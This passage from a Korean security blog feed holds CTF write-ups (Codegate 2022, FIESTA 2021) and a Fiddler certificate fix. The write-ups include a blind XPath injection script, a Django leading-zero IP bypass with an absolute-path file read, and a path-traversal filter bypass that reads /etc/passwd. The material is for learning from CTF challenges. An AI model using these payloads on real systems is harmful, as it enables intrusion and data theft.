&lt;div data-list-item-id=&quot;chat-messages___chat-messages-947244656159227969&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;i aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101&quot;&gt;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li id=&quot;chat-messages-947244962154684537&quot;&gt;
&lt;div data-list-item-id=&quot;chat-messages___chat-messages-947244962154684537&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;i aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87&quot;&gt;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 위 흐름으로 호출되는거 볼 수 있는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmGmaj/btruFgfHKIk/tU1TkoLjFwh2kTILKrZ6kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmGmaj/btruFgfHKIk/tU1TkoLjFwh2kTILKrZ6kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmGmaj/btruFgfHKIk/tU1TkoLjFwh2kTILKrZ6kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmGmaj%2FbtruFgfHKIk%2FtU1TkoLjFwh2kTILKrZ6kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;653&quot; height=&quot;241&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 테스트 bingo&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;a style=&quot;letter-spacing: 0px;&quot; href=&quot;http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271&quot;&gt;http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 blind xpath injeciton 구문 짜서 length check하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054615989&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from arang import *

s = requests.session()
proxies = {&quot;http&quot;:&quot;http://127.0.0.1:8888&quot;,&quot;https&quot;:&quot;http://127.0.0.1:8888&quot;}
headers = {&quot;Cookie&quot;: &quot;JSESSIONID=C37A435A55859F879AC71B4ECE966C07&quot;}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = &quot;codegate2022{&quot;
for i in range(len(flag)+1,46+1):
    for c in &quot;0123456789abcdef}&quot;:
        url = f&quot;http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1&quot;
        r = s.get(url)
        if 'asdf' not in r.content.decode():
            flag += c
            print(f&quot;[{len(flag)}/46] flag - {flag}&quot;)
            break&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;do exploit&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;624&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckrO7r/btruHwCoENP/dqMpie2GPTevrKf1qOtSCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckrO7r/btruHwCoENP/dqMpie2GPTevrKf1qOtSCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckrO7r/btruHwCoENP/dqMpie2GPTevrKf1qOtSCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckrO7r%2FbtruHwCoENP%2FdqMpie2GPTevrKf1qOtSCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;624&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;624&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;get flag&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;​&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ nft ]&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요약 : blockchain 이지만 webchall, 1day랑 python trick 이용&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054693687&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    modifier contains (string memory what, string memory where) {
        bytes memory whatBytes = bytes (what);
        bytes memory whereBytes = bytes (where);
    
        require(whereBytes.length &amp;gt;= whatBytes.length);
    
        bool found = false;
        for (uint i = 0; i &amp;lt;= whereBytes.length - whatBytes.length; i++) {
            bool flag = true;
            for (uint j = 0; j &amp;lt; whatBytes.length; j++)
                if (whereBytes [i + j] != whatBytes [j]) {
                    flag = false;
                    break;
                }
            if (flag) {
                found = true;
                break;
            }
        }
        require (!found);
    
        _;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;contains 함수가 좀 엉성하다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[requirements.txt 중]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Django==3.2.1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;a style=&quot;letter-spacing: 0px;&quot; href=&quot;https://packetstormsecurity.com/files/cve/CVE-2021-33571&quot;&gt;https://packetstormsecurity.com/files/cve/CVE-2021-33571&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1646054787381&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CVE-2021-33571 &amp;asymp; Packet Storm&quot; data-og-description=&quot;Red Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addre&quot; data-og-host=&quot;packetstormsecurity.com&quot; data-og-source-url=&quot;https://packetstormsecurity.com/files/cve/CVE-2021-33571&quot; data-og-url=&quot;https://packetstormsecurity.com/files/cve/CVE-2021-33571&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/cve/CVE-2021-33571&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://packetstormsecurity.com/files/cve/CVE-2021-33571&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CVE-2021-33571 &amp;asymp; Packet Storm&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Red Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addre&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;packetstormsecurity.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굿&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054825540&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ipaddress.IPv4Address(&quot;127.0.0.01&quot;)
IPv4Address('127.0.0.1')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 127.00.0.1 주면 contains 우회할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054863380&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; uri=&quot;1.1.1.1/account/storages//a.b.c&quot;
&amp;gt;&amp;gt;&amp;gt; nft_file = uri.split(nft_path + '/')[-1]
&amp;gt;&amp;gt;&amp;gt; nft_file
'/a.b.c'
&amp;gt;&amp;gt;&amp;gt; path = os.path.join(os.getcwd(), nft_path, nft_file)
&amp;gt;&amp;gt;&amp;gt; path
'/a.b.c'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054946828&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        nft_file = uri.split(nft_path + '/')[-1]
        if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
            path = os.path.join(os.getcwd(), nft_path, nft_file)

            with open(path, 'rb') as f:
                return f.read()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;os.path.join 쓸 때 세번째 인자 절대경로 주면 절대경로로 바뀌어버리는 trick이 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거랑 엮어쓰면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.00.0.1/acount/storages//home/ctf/flag.txt&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 주면 with open(path, 'rb') as f에서 path에 /home/ctf/flag.txt가 들어가게 되고 플래그를 읽을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 찾았으나 블체 눕눕이라 실제 익스를 못해서 팀원인 epist가 대신 익스해줬다(ㄳㄳ)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF/writeup</category>
      <category>blockchain</category>
      <category>Codegate</category>
      <category>codegate2022</category>
      <category>Web</category>
      <category>writeup</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/70</guid>
      <comments>https://ar9ang3.tistory.com/70#entry70comment</comments>
      <pubDate>Mon, 28 Feb 2022 22:33:15 +0900</pubDate>
    </item>
    <item>
      <title>Fiddler HTTPS 인증서 오류 시 해결방법</title>
      <link>https://ar9ang3.tistory.com/69</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;* Fiddler Classic(Not Everywhere)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가끔 피들러를 사용하다보면 https 인증서때문에 말썽일 경우가 많다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 인증서 기간 만료, 인증서 기간이 너무 김, 인증서를 신뢰할 수 없음 등등의 에러인데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이럴 때 구글에 나오는 해결책(certenroll engine reset)으로도 안되는 경우에 빠져 잠시 헤매다 해결책을 찾아 공유한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(일반적인 해결책, 피들러 최신버전)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tools - Options - HTTPS - Actions - Reset All Certificate&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 위의 해결책으로 해결이 되어야하지만 이번에 내가 봉착한 케이스는 Reset All Certificate를 하면 피들러가 멈춰버리는 현상이 발생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결한 이후 그 이유를 유추해보면, Reset하는 과정에서, 피들러가 생성한 와일드카드 인증서들을 삭제해야하는데, 이러한 와일드카드 인증서 중 삭제가 안되어 피들러가 Exception에 빠져 멈춰버리는것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어쨌든 각설하여 이를 해결하기위해선 피들러가 설치한 와일드카드 인증서 및 피들러의 인증서(DO_NOT_TURST_FiddlerRoot)들을 모두 직접 삭제해주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 - certmgr.msc&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ㄴ [개인용-인증서]에 존재하는 모든 와일드카드 인증서 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ㄴ [신뢰할 수 있는 루트 인증 기관]에 존재하는 모든 DO_NOT_TRUST_FiddlerRoot 인증서 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ㄴ .. 기타 경로에 존재하는 모든 피들러 인증서 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 (일반적인 해결책)으로 돌아가 Reset All Certificate를 해주면 정상적으로 https 인증서를 발급해주는것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(부들부들..)&lt;/p&gt;</description>
      <category>Tips/Web-Honey tips</category>
      <category>certenroll</category>
      <category>fiddler</category>
      <category>hsts</category>
      <category>https</category>
      <category>HTTPS오류</category>
      <category>인증서</category>
      <category>인증서오류</category>
      <category>피들러</category>
      <category>피들러오류</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/69</guid>
      <comments>https://ar9ang3.tistory.com/69#entry69comment</comments>
      <pubDate>Wed, 8 Dec 2021 15:58:50 +0900</pubDate>
    </item>
    <item>
      <title>금융보안원 FIESTA 2021 - FSI cha tin gse rvi ce! 문제 출제자 Write-up</title>
      <link>https://ar9ang3.tistory.com/68</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;혹 로컬에 올려서 문제를 풀어보실분은 아래 깃헙 링크로 접속하면 문제 원본을 받을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/JaewookYou/fiesta2021_webchall_FSI-cha-tin-gse-rvi-ce&quot;&gt;https://github.com/JaewookYou/fiesta2021_webchall_FSI-cha-tin-gse-rvi-ce&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;fiesta2021_webchall&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제명 : FSI cha tin gse rvi ce!&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출제자 : 보안평가2팀 주임 유재욱&lt;/li&gt;
&lt;li&gt;출제분야 : 웹해킹&lt;/li&gt;
&lt;li&gt;총배점 : 600점&lt;/li&gt;
&lt;li&gt;Flag1(100점) : &lt;code&gt;fiesta{ok_y0u_g0t_the_ext_server's_code!_lets_dig_the_2nd_flag!}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Flag2(100점) : &lt;code&gt;fiesta{congrat_y0u_g0t_all_of_th3_ext&amp;amp;int_server's_code!}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Flag3(400점) : &lt;code&gt;fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Description&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-tex&quot;&gt;A사는 최근 채팅서비스를 개발하여 제공하는 솔루션사 B사로부터 채팅서비스를 구매하여 A사의 서버와 통합하였는데... 
A사의 내부 보안 취약점 분석팀 직원인 당신에게 이 통합된 채팅서비스가 안전한지 알아보라는 임무가 주어졌다. 
채팅서비스 내부망 데이터베이스 유출 가능성이 있는지 내부 데이터베이스에 존재하는 Flag를 획득하여 증명해보자.

 * 본 문제의 Flag는 총 3개입니다. 최종 Flag는 내부 데이터베이스의 flag 테이블에 존재합니다.
 * 서버는 30분마다 초기화됩니다.
 * 본 문제는 크롬 브라우저에 최적화 되어 있습니다.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 운영방법&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시작 : &lt;code&gt;nohup ./run.sh&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;일시정지 : &lt;code&gt;./stop.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;로그 : &lt;code&gt;nohup ./logs.sh&amp;amp;&lt;/code&gt; 이후 &lt;code&gt;tail -f ./logs.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;run.sh 실행 시 30분마다 한번씩 서버가 전체 초기화되고 재실행됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 컨셉&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체 문제 서비스의 큰 틀은 &lt;b&gt;채팅 서비스&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;여러 금융 기관의 취약점 분석 평가 도중 마주쳤던 채팅상담 서비스의 환경과 비슷한 맥락으로 구성&lt;/li&gt;
&lt;li&gt;보통 외부의 채팅상담 서비스를 가져와 Integration을 하여 구현하는것이 보통&lt;/li&gt;
&lt;li&gt;때문에 별도의 채팅상담 서비스 서버를 두고, 웹서버는 클라이언트와 채팅상담 서비스 사이를 중계해주는 역할을 수행&lt;/li&gt;
&lt;li&gt;이러한 환경에서, 중계 서비스에 SSRF(Server Side Request Forgery) 취약점이 존재한다면 발생하는 위협이 핵심 문제 해결 포인트&lt;/li&gt;
&lt;li&gt;잘못된 예외처리와 잘못된 필터링, 사용자로부터 전달받은 입력값으로 중요로직 처리 등으로 인하여 취약점들이 발생, 이들을 모두 엮어 문제 해결을 하여야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 환경&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 언어는 python flask&lt;/li&gt;
&lt;li&gt;flask_socketio(외부망 웹서버) / socketserver(내부망 채팅api 서버) / mysql(내부망 채팅 데이터베이스 서버)&lt;/li&gt;
&lt;li&gt;Client와 웹서버는 socketio를 통해 통신하고, 클라이언트로부터 전달받은 데이터를 파싱하여 내부망 채팅 api 서버로 전송&lt;/li&gt;
&lt;li&gt;내부망 채팅 api 서버는 웹서버로부터 전달받은 데이터를 토대로 채팅 Database에 질의하여 그 결과를 다시 웹서버로 반환&lt;/li&gt;
&lt;li&gt;웹서버는 반환받은 채팅 관련 데이터를 클라이언트로 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;출제자 Write-Up&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우선 문제에서 제공된 Dockerfile들을 보면 외부망, 내부망, 그리고 데이터베이스 이렇게 세개의 서버로 구성된것을 알 수 있다.&lt;/li&gt;
&lt;li&gt;데이터베이스의 경우 &lt;b&gt;5.7버전&lt;/b&gt;을 사용하고 있는것을 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;이러한 사항들을 주지하고 문제를 풀어나가야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;외부망 소스코드 유출, 첫번째 플래그&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우선 이미지를 보내는 기능을 살펴보면,&lt;/li&gt;
&lt;li&gt;client단에서 &lt;code&gt;data:image/png&lt;/code&gt; 형태로 변형하여 base64로 인코딩한채로 보낸다.&lt;/li&gt;
&lt;li&gt;또한 filename 파라미터가 존재하는데, 해당 파라미터, 즉 파일명이 메세지 내용에 씌여지는것을 response되는 채팅 데이터를 통해 알 수 있다.&lt;/li&gt;
&lt;li&gt;filename에 &lt;code&gt;'&lt;/code&gt;와같은 일부 문자를 넣을 시 replace처리되어 파일명에서 사라지는것을 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;또한 &lt;code&gt;../&lt;/code&gt;와같이 상대경로로 이동할 수 있는 문자열 중 &lt;code&gt;..&lt;/code&gt;를 replace처리하는 것을 알 수 있다.&lt;/li&gt;
&lt;li&gt;위 2개를 섞는다면 &lt;code&gt;.'./&lt;/code&gt;와 같이 구성해보면 상대경로로 갈 수 있는 &lt;code&gt;../&lt;/code&gt;가 완성된다&lt;/li&gt;
&lt;li&gt;이를 통해 filename 파라미터에 &lt;code&gt;.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwd&lt;/code&gt;와 같이 파일명을 주어 가입하게 되면 파일명은 &lt;code&gt;../../../../../../../../etc/passwd&lt;/code&gt;와 같이 변하게 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;http://arang.kr/fiesta/fiesta2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;upload error라고 나타나지만 실제 upload result를 살펴보면,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;HTTP/1.0 200 OK
Content-Type: text/plain; charset=UTF-8
Access-Control-Allow-Credentials: true
Connection: close
Server: Werkzeug/2.0.1 Python/3.8.10
Date: Thu, 12 Aug 2021 10:40:43 GMT

42[&quot;uploadImageResult&quot;,&quot;[x] upload \&quot;/app/ext_app/uploads/test/../../../../../../../../../../../etc/passwd\&quot; error&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위와같이 webroot 하위에 있는 절대경로가 노출된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arang.kr/fiesta/fiesta3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그리고 새로고침하여 chat message들을 불러오면, 필터링을 우회하여 입력한 경로의 파일(지금은 /etc/passwd)을 읽어와 img tag에 넣어주는 것을 볼 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;http://arang.kr/fiesta/fiesta5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이제 여기서 &lt;code&gt;/app/ext_app/&lt;/code&gt;이 web server가 구동중인 path라고 가정하고 &lt;code&gt;/app/ext_app/app.py&lt;/code&gt;를 filename 파라미터에 입력하게 되면 외부망 소스코드를 획득할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;첫번째 flag 획득 &lt;code&gt;fiesta{th1s_1s_the_st4rt_0f_th3_ch4ll3ng3}&lt;/code&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;내부망 소스코드 유출, 두번째 플래그&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우선 회원가입할때 프로필 이미지를 업로드하는 루틴부터 살펴보면, file content를 내부망으로 socket 통신을 통해 전송하기 때문에 내부망 서버에 파일&lt;/li&gt;
&lt;li&gt;16kb 미만의 프로필 이미지를 업로드하면 채팅할 때 프로필 이미지를 &lt;code&gt;/getProfileImage?id={id}&lt;/code&gt; 형식으로 가져온다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/getProfileImage&lt;/code&gt;의 response값을 살펴보면 &lt;code&gt;content(data:image/png 형태로 변형된 이미지)&lt;/code&gt;와 &lt;code&gt;filename(업로드한 파일명)&lt;/code&gt;이 서버로부터 전달된다.&lt;/li&gt;
